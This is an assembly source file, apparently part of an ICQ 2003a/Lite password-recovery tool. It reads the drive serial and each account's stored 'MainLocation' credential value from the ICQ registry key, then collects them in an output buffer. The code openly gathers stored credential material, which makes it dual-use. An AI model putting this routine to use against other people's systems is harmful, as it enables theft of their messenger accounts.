; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------



;
; Decode ICQ2003a/Lite passwords
;
;
;
; #########################################################################

        .data
                szKeyPath       db      "SOFTWARE\Mirabilis\ICQ\NewOwners",0

        .code

; #########################################################################

GetDriveSerial proc

        ; -------------------------
        ; Return DriveSerial in eax
        ; -------------------------

        LOCAL   Serial: DWORD, Max: DWORD, Flags: DWORD

        ; Alloc memory for GetWinDir
        invoke  GetWindowsDirectory, offset lpBuf1, MAX_PATH+1

        test    eax, eax
        jz      @ret

        lea     eax, lpBuf1
        mov     byte ptr[eax+3], 0

        invoke  GetVolumeInformation, offset lpBuf1, offset lpBuf3, 40, addr Serial, addr Max, addr Flags, offset lpBuf4, 40
        push    Serial
        lea     eax, lpBuf3
        pop     [eax]

@ret:
        ret
GetDriveSerial endp

; #########################################################################

GetMainLocation proc uses edi lpName: DWORD
        LOCAL   hkHandle: DWORD, DataType: DWORD, BufSize: DWORD

        szText  szMainLocation, "MainLocation"

        xor     edi, edi

        ; Make the registry path to MainLocation in lpSubKey
        szText  szKey, "%s\%s"

        invoke  wsprintf, offset lpBuf4, offset szKey, offset szKeyPath, lpName

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset lpBuf4, addr hkHandle
        cmp     eax, ERROR_SUCCESS
        jne     @end
        
        ; Query the MainLocation value
        mov     BufSize, 16

        invoke  RegQueryValueEx, hkHandle, offset szMainLocation, NULL, addr DataType, offset lpBuf1, addr BufSize
        cmp     eax, ERROR_SUCCESS
        jne     @end

        cmp     BufSize, 8
        je      @work
        cmp     BufSize, 16
        jnz     @end
        
@work:
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 64
        mov     edi, eax
        invoke  TextToHex, offset lpBuf1, eax, BufSize

@end:
        invoke  RegCloseKey, hkHandle

        mov     eax, edi

        ret
GetMainLocation endp

; #########################################################################

GetICQ2003Output proc uses edi
        LOCAL   lpName, KeyIndex, hkHandle, lpNameLen: DWORD
        
        ; Write the greet message
        szText  szICQ2003Greet, "[2003]",13,10
        invoke  lstrcat, GlobalBuffer, addr szICQ2003Greet

        ; ----------------
        ; Get Drive Serial
        ; ----------------

        szText  szICQ2003Serial, "S: %s",13,10

        invoke  GetDriveSerial
        invoke  TextToHex, offset lpBuf3, offset lpBuf1, 4
        invoke  wsprintf, offset lpBuf2, addr szICQ2003Serial, offset lpBuf1
        invoke  lstrcat, GlobalBuffer, offset lpBuf2

        ; -----------------------
        ; Get MainLocation values
        ; -----------------------

        szText  szICQ2003MainLoc, "UIN(%s): %s",13,10

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset szKeyPath, addr hkHandle
        cmp     eax, ERROR_SUCCESS
        jne     @end

        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 20
        mov     lpName, eax
        mov     KeyIndex, 0

@loop_enum:
        mov     lpNameLen, 20
        invoke  RegEnumKeyEx, hkHandle, KeyIndex, lpName, addr lpNameLen, NULL, NULL, NULL, NULL
        test    eax, eax
        jnz     @loop_end
        inc     KeyIndex
        invoke  GetMainLocation, lpName
        test    eax, eax
        jz      @loop_enum

        mov     edi, eax

        invoke  wsprintf, offset lpBuf2, offset szICQ2003MainLoc, lpName, eax
        invoke  lstrcat, GlobalBuffer, offset lpBuf2
        
        invoke  LocalFree, edi

        jmp     @loop_enum

@loop_end:
        invoke  LocalFree, lpName

@end:
        invoke  RegCloseKey, hkHandle

        ret
GetICQ2003Output endp
